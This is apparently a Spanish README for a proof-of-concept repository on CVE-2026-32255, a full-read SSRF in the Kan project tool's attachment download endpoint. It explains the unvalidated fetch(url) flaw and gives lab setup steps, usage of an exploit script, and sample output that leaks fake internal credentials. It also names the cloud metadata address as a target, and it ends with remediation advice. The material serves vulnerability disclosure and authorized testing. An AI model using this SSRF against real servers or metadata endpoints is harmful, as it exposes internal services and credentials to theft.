
Este repositorio contiene una prueba de concepto (POC) para CVE-2026-32255, una vulnerabilidad de Server-Side Request Forgery (SSRF) de alta gravedad en Kan, una herramienta de gestión de proyectos de código abierto.
Este repositorio contiene una prueba de concepto (POC) para CVE-2026-32255, una vulnerabilidad de Server-Side Request Forgery (SSRF) de alta severidad en Kan, una herramienta de gestión de proyectos de código abierto.
El endpoint vulnerable permite a atacantes no autenticados realizar solicitudes HTTP arbitrarias desde el servidor y leer la respuesta completa, lo que permite el acceso a servicios internos y endpoints de metadatos en la nube.
AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:NEl archivo apps/web/src/pages/api/download/attatchment.ts expone un endpoint GET /api/download/attatchment destinado a actuar como proxy para descargas de adjuntos desde el almacenamiento S3. El endpoint acepta un parámetro de consulta url controlado por el usuario y lo pasa directamente a fetch() en el lado del servidor sin ninguna validación ni autenticación:
const upstream = await fetch(url); // no validation on `url`
Un atacante puede proporcionar cualquier URL, lo que hace que el servidor realice una solicitud HTTP a ese destino y devuelva el cuerpo completo de la respuesta al cliente. Esto es un SSRF de lectura completa (no ciego), lo que significa que el atacante puede leer todo el contenido de la respuesta.
http://169.254.169.254/ en AWS/GCP)Clona y ejecuta Kan v0.5.4 (la última versión vulnerable):
git clone --branch v0.5.4 https://github.com/kanbn/kan.git
cd kan
Configura las variables de entorno requeridas:
cat > .env <<'EOF'
NEXT_PUBLIC_BASE_URL=http://localhost:3000
BETTER_AUTH_SECRET=poc-secret-not-for-production-use
POSTGRES_URL=postgresql://kan:kan@localhost:5432/kan_db
POSTGRES_PASSWORD=kan
REDIS_URL=redis://localhost:6379
NEXT_PUBLIC_STORAGE_URL=http://localhost:9000
EOF
Nota: Si obtienes un error sobre
dokploy-network, elimina las referencias adokploy-networkdedocker-compose.yml(líneas 9, 130-131) y ejecutadocker compose up -dnuevamente. Esta red no es necesaria localmente.
Inicia los contenedores:
docker compose up -d
La aplicación debería estar disponible en http://localhost:3000.
En una terminal separada, inicia el servicio interno simulado incluido que simula una API interna sensible:
python3 internal-service.py
Esto inicia un servidor en el puerto 8888 que devuelve credenciales falsas, simulando un servicio que solo debería ser accesible desde la red interna. En un escenario del mundo real, este servicio estaría aislado detrás de un firewall e inaccesible desde el exterior. El SSRF permite al atacante alcanzarlo a través del servidor.
chmod +x exploit.sh
./exploit.sh http://localhost:3000
./exploit.sh <url-objetivo> [url-interna]
<url-objetivo>: URL base de la instancia de Kan (por ejemplo, http://localhost:3000)[url-interna]: URL interna a obtener mediante SSRF (opcional, se detecta automáticamente desde la puerta de enlace del puente de Docker)./exploit.sh http://localhost:3000
=== CVE-2026-32255 - Kan SSRF mediante Descarga de Adjuntos ===
Objetivo: http://localhost:3000
URL interna: http://172.17.0.1:8888
[*] Comprobando si el endpoint es accesible...
[+] El endpoint es accesible (HTTP 400)
[*] Intentando SSRF a http://172.17.0.1:8888 ...
[+] VULNERABLE - El servidor obtuvo el recurso interno
Contenido filtrado:
------------------------------------------------------------
{
"service": "internal-config-api",
"credentials": {
"db_host": "10.0.0.5",
"db_user": "admin",
"db_password": "s3cret_passw0rd!",
"api_key": "sk-internal-4f8a2b1c9d3e7f6a5b0c8d2e1f4a7b3c"
}
}
------------------------------------------------------------
Actualiza a Kan v0.5.5 o posterior, que valida el parámetro url contra el nombre de host del endpoint S3 configurado antes de realizar el proxy de la solicitud.
Si no puedes actualizar de inmediato, bloquea el acceso externo al endpoint vulnerable a nivel de tu proxy inverso.
Esta prueba de concepto se proporciona solo con fines educativos y para pruebas de seguridad autorizadas. Utiliza esta herramienta únicamente en sistemas que poseas o para los que tengas permiso explícito por escrito para realizar pruebas.
El autor no es responsable del mal uso de la información o las herramientas proporcionadas en este repositorio. El acceso no autorizado a sistemas informáticos es ilegal.
Descubierto por: kOaDT ([email protected])